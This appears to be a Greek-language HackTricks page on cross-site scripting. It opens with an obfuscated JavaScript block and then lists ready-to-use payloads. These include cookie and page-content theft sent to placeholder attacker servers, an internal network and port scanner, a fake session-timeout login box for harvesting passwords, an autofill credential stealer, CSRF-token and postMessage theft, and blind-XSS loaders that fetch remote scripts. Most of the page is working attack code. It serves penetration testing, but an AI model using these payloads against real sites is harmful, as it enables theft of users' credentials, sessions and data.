゚o゚ =
゚Д゚["c"] +
゚Д゚["o"] +
(゚ω゚ノ + "_")[゚Θ゚] +
((゚ω゚ノ == 3) + "_")[゚ー゚] +
(゚Д゚ + "_")[゚ー゚ + ゚ー゚] +
((゚ー゚ == 3) + "_")[゚Θ゚] +
((゚ー゚ == 3) + "_")[゚ー゚ - ゚Θ゚] +
゚Д゚["c"] +
(゚Д゚ + "_")[゚ー゚ + ゚ー゚] +
゚Д゚["o"] +
((゚ー゚ == 3) + "_")[゚Θ゚]
゚Д゚["_"] = (o ^ _ ^ o)[゚o゚][゚o゚]
゚ε゚ =
((゚ー゚ == 3) + "_")[゚Θ゚] +
゚Д゚.゚Д゚ノ +
(゚Д゚ + "_")[゚ー゚ + ゚ー゚] +
((゚ー゚ == 3) + "_")[o ^ _ ^ (o - ゚Θ゚)] +
((゚ー゚ == 3) + "_")[゚Θ゚] +
(゚ω゚ノ + "_")[゚Θ゚]
゚ー゚ += ゚Θ゚
゚Д゚[゚ε゚] = "\\"
゚Д゚.゚Θ゚ノ = (゚Д゚ + ゚ー゚)[o ^ _ ^ (o - ゚Θ゚)]
o゚ー゚o = (゚ω゚ノ + "_")[c ^ _ ^ o]
゚Д゚[゚o゚] = '"'
゚Д゚["_"](
゚Д゚["_"](
゚ε゚ +
゚Д゚[゚o゚] +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
(゚ー゚ + ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
゚ー゚ +
゚Д゚[゚ε゚] +
(゚ー゚ + ゚Θ゚) +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚ー゚ +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚Θ゚ +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
(゚ー゚ + ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
(゚ー゚ + (o ^ _ ^ o)) +
゚Д゚[゚ε゚] +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚ー゚ +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚Θ゚ +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) - ゚Θ゚) +
(o ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
(o ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚ー゚ +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
(゚ー゚ + ゚Θ゚) +
゚Θ゚ +
゚Д゚[゚o゚]
)(゚Θ゚)
)("_")
javascript
// It's also possible to execute JS code only with the chars: []`+!${}

XSS κοινές επιθέσεις

Πολλές επιθέσεις σε 1

Steal Info JS

Παγίδα Iframe

Κάντε τον χρήστη να πλοηγηθεί στη σελίδα χωρίς να βγει από ένα iframe και κλέψτε τις ενέργειές του (συμπεριλαμβανομένων των πληροφοριών που αποστέλλονται σε φόρμες):

Iframe Traps

Ανάκτηση Cookies

javascript
<img src=x onerror=this.src="http://<YOUR_SERVER_IP>/?c="+document.cookie>
<img src=x onerror="location.href='http://<YOUR_SERVER_IP>/?c='+ document.cookie">
<script>new Image().src="http://<IP>/?c="+encodeURI(document.cookie);</script>
<script>new Audio().src="http://<IP>/?c="+escape(document.cookie);</script>
<script>location.href = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>location = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.location = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.location.href = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.write('<img src="http://<YOUR_SERVER_IP>?c='+document.cookie+'" />')</script>
<script>window.location.assign('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>window['location']['assign']('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>window['location']['href']('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>document.location=["http://<YOUR_SERVER_IP>?c",document.cookie].join()</script>
<script>var i=new Image();i.src="http://<YOUR_SERVER_IP>/?c="+document.cookie</script>
<script>window.location="https://<SERVER_IP>/?c=".concat(document.cookie)</script>
<script>var xhttp=new XMLHttpRequest();xhttp.open("GET", "http://<SERVER_IP>/?c="%2Bdocument.cookie, true);xhttp.send();</script>
<script>eval(atob('ZG9jdW1lbnQud3JpdGUoIjxpbWcgc3JjPSdodHRwczovLzxTRVJWRVJfSVA+P2M9IisgZG9jdW1lbnQuY29va2llICsiJyAvPiIp'));</script>
<script>fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net', {method: 'POST', mode: 'no-cors', body:document.cookie});</script>
<script>navigator.sendBeacon('https://ssrftest.com/x/AAAAA',document.cookie)</script>

note

Δεν θα μπορείτε να αποκτήσετε πρόσβαση στα cookies από το JavaScript αν η σημαία HTTPOnly είναι ρυθμισμένη στο cookie. Αλλά εδώ έχετε μερικούς τρόπους για να παρακάμψετε αυτή την προστασία αν είστε αρκετά τυχεροί.

Κλέψτε Περιεχόμενο Σελίδας

javascript
var url = "http://10.10.10.25:8000/vac/a1fbf2d1-7c3f-48d2-b0c3-a205e54e09e8"
var attacker = "http://10.10.14.8/exfil"
var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState == XMLHttpRequest.DONE) {
fetch(attacker + "?" + encodeURI(btoa(xhr.responseText)))
}
}
xhr.open("GET", url, true)
xhr.send(null)

Βρείτε εσωτερικές διευθύνσεις IP

html
<script>
var q = []
var collaboratorURL =
"http://5ntrut4mpce548i2yppn9jk1fsli97.burpcollaborator.net"
var wait = 2000
var n_threads = 51

// Prepare the fetchUrl functions to access all the possible
for (i = 1; i <= 255; i++) {
q.push(
(function (url) {
return function () {
fetchUrl(url, wait)
}
})("http://192.168.0." + i + ":8080")
)
}

// Launch n_threads threads that are going to be calling fetchUrl until there is no more functions in q
for (i = 1; i <= n_threads; i++) {
if (q.length) q.shift()()
}

function fetchUrl(url, wait) {
console.log(url)
var controller = new AbortController(),
signal = controller.signal
fetch(url, { signal })
.then((r) =>
r.text().then((text) => {
location =
collaboratorURL +
"?ip=" +
url.replace(/^http:\/\//, "") +
"&code=" +
encodeURIComponent(text) +
"&" +
Date.now()
})
)
.catch((e) => {
if (!String(e).includes("The user aborted a request") && q.length) {
q.shift()()
}
})

setTimeout((x) => {
controller.abort()
if (q.length) {
q.shift()()
}
}, wait)
}
</script>

Σαρωτής Θερμικών Θυρών (fetch)

javascript
const checkPort = (port) => { fetch(http://localhost:${port}, { mode: "no-cors" }).then(() => { let img = document.createElement("img"); img.src = http://attacker.com/ping?port=${port}; }); } for(let i=0; i<1000; i++) { checkPort(i); }

Σαρωτής Θυρών (websockets)

python
var ports = [80, 443, 445, 554, 3306, 3690, 1234];
for(var i=0; i<ports.length; i++) {
var s = new WebSocket("wss://192.168.1.1:" + ports[i]);
s.start = performance.now();
s.port = ports[i];
s.onerror = function() {
console.log("Port " + this.port + ": " + (performance.now() -this.start) + " ms");
};
s.onopen = function() {
console.log("Port " + this.port+ ": " + (performance.now() -this.start) + " ms");
};
}

Σύντομοι χρόνοι υποδεικνύουν μια απαντητική θύρα Μακρύτεροι χρόνοι υποδεικνύουν μη απάντηση.

Ελέγξτε τη λίστα των θυρών που έχουν απαγορευτεί στο Chrome εδώ και στο Firefox εδώ.

Κουτί για να ζητήσετε διαπιστευτήρια

html
<style>::placeholder { color:white; }</style><script>document.write("<div style='position:absolute;top:100px;left:250px;width:400px;background-color:white;height:230px;padding:15px;border-radius:10px;color:black'><form action='https://example.com/'><p>Your sesion has timed out, please login again:</p><input style='width:100%;' type='text' placeholder='Username' /><input style='width: 100%' type='password' placeholder='Password'/><input type='submit' value='Login'></form><p><i>This login box is presented using XSS as a proof-of-concept</i></p></div>")</script>

Συλλογή κωδικών πρόσβασης αυτόματης συμπλήρωσης

javascript
<b>Username:</><br>
<input name=username id=username>
<b>Password:</><br>
<input type=password name=password onchange="if(this.value.length)fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net',{
method:'POST',
mode: 'no-cors',
body:username.value+':'+this.value
});">

Όταν εισάγονται δεδομένα στο πεδίο κωδικού πρόσβασης, το όνομα χρήστη και ο κωδικός πρόσβασης αποστέλλονται στον διακομιστή των επιτιθεμένων, ακόμη και αν ο πελάτης επιλέξει έναν αποθηκευμένο κωδικό και δεν γράψει τίποτα, τα διαπιστευτήρια θα διαρρεύσουν.

Keylogger

Απλά ψάχνοντας στο github βρήκα μερικούς διαφορετικούς:

Stealing CSRF tokens

javascript
<script>
var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('get','/email',true);
req.send();
function handleResponse() {
var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
var changeReq = new XMLHttpRequest();
changeReq.open('post', '/email/change-email', true);
changeReq.send('csrf='+token+'&email=test@test.com')
};
</script>

Κλοπή μηνυμάτων PostMessage

html
<img src="https://attacker.com/?" id=message>
<script>
window.onmessage = function(e){
document.getElementById("message").src += "&"+e.data;
</script>

Κατάχρηση Υπηρεσιών Εργαζομένων

Abusing Service Workers

Πρόσβαση στο Shadow DOM

Shadow DOM

Πολυγλωσσικά

Auto_Wordlists/wordlists/xss_polyglots.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub

Blind XSS payloads

Μπορείτε επίσης να χρησιμοποιήσετε: https://xsshunter.com/

html
"><img src='//domain/xss'>
"><script src="//domain/xss.js"></script>
><a href="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">Click Me For An Awesome Time</a>
<script>function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "//0mnb1tlfl5x4u55yfb57dmwsajgd42.burpcollaborator.net/scriptb");a.send();</script>

<!-- html5sec - Self-executing focus event via autofocus: -->
"><input onfocus="eval('d=document; _ = d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')" autofocus>

<!-- html5sec - JavaScript execution via iframe and onload -->
"><iframe onload="eval('d=document; _=d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')">

<!-- html5sec - SVG tags allow code to be executed with onload without any other elements. -->
"><svg onload="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')" xmlns="http://www.w3.org/2000/svg"></svg>

<!-- html5sec -  allow error handlers in <SOURCE> tags if encapsulated by a <VIDEO> tag. The same works for <AUDIO> tags  -->
"><video><source onerror="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">

<!--  html5sec - eventhandler -  element fires an "onpageshow" event without user interaction on all modern browsers. This can be abused to bypass blacklists as the event is not very well known.  -->
"><body onpageshow="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">

<!-- xsshunter.com - Sites that use JQuery -->
<script>$.getScript("//domain")</script>

<!-- xsshunter.com - When <script> is filtered -->
"><img src=x id=payload&#61;&#61; onerror=eval(atob(this.id))>

<!-- xsshunter.com - Bypassing poorly designed systems with autofocus -->
"><input onfocus=eval(atob(this.id)) id=payload&#61;&#61; autofocus>

<!-- noscript trick -->
<noscript><p title="</noscript><img src=x onerror=alert(1)>">

<!-- whitelisted CDNs in CSP -->
"><script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.6.1/angular.js"></script>
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.6.1/angular.min.js"></script>
<!-- ... add more CDNs, you'll get WARNING: Tried to load angular more than once if multiple load. but that does not matter you'll get a HTTP interaction/exfiltration :-]... -->
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>

<!-- Payloads from https://www.intigriti.com/researchers/blog/hacking-tools/hunting-for-blind-cross-site-scripting-xss-vulnerabilities-a-complete-guide -->
<!-- Image tag -->
'"><img src="x" onerror="eval(atob(this.id))" id="Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw==">

<!-- Input tag with autofocus -->
'"><input autofocus onfocus="eval(atob(this.id))" id="Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw==">

<!-- In case jQuery is loaded, we can make use of the getScript method -->
'"><script>$.getScript("{SERVER}/script.js")</script>

<!-- Make use of the JavaScript protocol (applicable in cases where your input lands into the "href" attribute or a specific DOM sink) -->
javascript:eval(atob("Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw=="))

<!-- Render an iframe to validate your injection point and receive a callback -->
'"><iframe src="{SERVER}"></iframe>

<!-- Bypass certain Content Security Policy (CSP) restrictions with a base tag -->
<base href="{SERVER}" />

<!-- Make use of the meta-tag to initiate a redirect -->
<meta http-equiv="refresh" content="0; url={SERVER}" />

<!-- In case your target makes use of AngularJS -->
{{constructor.constructor("import('{SERVER}/script.js')")()}}

Regex - Πρόσβαση σε Κρυφό Περιεχόμενο

Από αυτή την αναφορά είναι δυνατόν να μάθουμε ότι ακόμα και αν κάποιες τιμές εξαφανιστούν από το JS, είναι ακόμα δυνατό να τις βρούμε σε JS attributes σε διάφορα αντικείμενα. Για παράδειγμα, μια είσοδος ενός REGEX είναι ακόμα δυνατό να βρεθεί μετά την αφαίρεση της τιμής της εισόδου του regex:

javascript
// Do regex with flag
flag = "CTF{FLAG}"
re = /./g
re.test(flag)

// Remove flag value, nobody will be able to get it, right?
flag = ""

// Access previous regex input
console.log(RegExp.input)
console.log(RegExp.rightContext)
console.log(
document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightContext"]
)

Λίστα Brute-Force

Auto_Wordlists/wordlists/xss.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub

XSS Κατάχρηση άλλων ευπαθειών

XSS σε Markdown

Μπορείτε να εισάγετε κώδικα Markdown που θα αποδοθεί; Ίσως μπορείτε να αποκτήσετε XSS! Ελέγξτε:

XSS in Markdown

XSS σε SSRF

Έχετε XSS σε μια ιστοσελίδα που χρησιμοποιεί caching; Δοκιμάστε να το αναβαθμίσετε σε SSRF μέσω Edge Side Include Injection με αυτό το payload:

python
<esi:include src="http://yoursite.com/capture" />

Χρησιμοποιήστε το για να παρακάμψετε περιορισμούς cookie, φίλτρα XSS και πολλά άλλα!
Περισσότερες πληροφορίες σχετικά με αυτή την τεχνική εδώ: XSLT.

XSS σε δυναμικά δημιουργημένο PDF

Εάν μια ιστοσελίδα δημιουργεί ένα PDF χρησιμοποιώντας είσοδο που ελέγχεται από τον χρήστη, μπορείτε να προσπαθήσετε να παγιδεύσετε το bot που δημιουργεί το PDF ώστε να εκτελέσει αυθαίρετο JS κώδικα.
Έτσι, αν το bot δημιουργίας PDF βρει κάποιο είδος HTML tags, θα τα ερμηνεύσει, και μπορείτε να εκμεταλλευτείτε αυτή τη συμπεριφορά για να προκαλέσετε ένα Server XSS.

Server Side XSS (Dynamic PDF)

Εάν δεν μπορείτε να εισάγετε HTML tags, μπορεί να αξίζει να προσπαθήσετε να εισάγετε δεδομένα PDF:

PDF Injection

XSS σε Amp4Email

Το AMP, που στοχεύει στην επιτάχυνση της απόδοσης ιστοσελίδων σε κινητές συσκευές, ενσωματώνει HTML tags συμπληρωμένα με JavaScript για να διασφαλίσει τη λειτουργικότητα με έμφαση στην ταχύτητα και την ασφάλεια. Υποστηρίζει μια σειρά από συστατικά για διάφορες δυνατότητες, προσβάσιμα μέσω AMP components.

Η AMP for Email μορφή επεκτείνει συγκεκριμένα AMP components σε emails, επιτρέποντας στους παραλήπτες να αλληλεπιδρούν με το περιεχόμενο απευθείας μέσα στα emails τους.

Παράδειγμα writeup XSS σε Amp4Email στο Gmail.

XSS ανεβάζοντας αρχεία (svg)

Ανεβάστε ως εικόνα ένα αρχείο όπως το παρακάτω (από http://ghostlulz.com/xss-svg/):

html
Content-Type: multipart/form-data; boundary=---------------------------232181429808
Content-Length: 574
-----------------------------232181429808
Content-Disposition: form-data; name="img"; filename="img.svg"
Content-Type: image/svg+xml

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<rect width="300" height="100" style="fill:rgb(0,0,255);stroke-width:3;stroke:rgb(0,0,0)" />
<script type="text/javascript">
alert(1);
</script>
</svg>
-----------------------------232181429808--
html
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<script type="text/javascript">alert("XSS")</script>
</svg>
html
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
<script type="text/javascript">
alert("XSS");
</script>
</svg>
svg
<svg width="500" height="500"
xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<circle cx="50" cy="50" r="45" fill="green"
id="foo"/>

<foreignObject width="500" height="500">
<iframe xmlns="http://www.w3.org/1999/xhtml" src="data:text/html,&lt;body&gt;&lt;script&gt;document.body.style.background=&quot;red&quot;&lt;/script&gt;hi&lt;/body&gt;" width="400" height="250"/>
<iframe xmlns="http://www.w3.org/1999/xhtml" src="javascript:document.write('hi');" width="400" height="250"/>
</foreignObject>
</svg>
html
<svg><use href="//portswigger-labs.net/use_element/upload.php#x" /></svg>
xml
<svg><use href="data:image/svg+xml,&lt;svg id='x' xmlns='http://www.w3.org/2000/svg' &gt;&lt;image href='1' onerror='alert(1)' /&gt;&lt;/svg&gt;#x" />

Βρείτε περισσότερα SVG payloads σε https://github.com/allanlw/svg-cheatsheet

Διάφορα JS Tricks & Σχετικές Πληροφορίες

Misc JS Tricks & Relevant Info

Πόροι XSS

tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks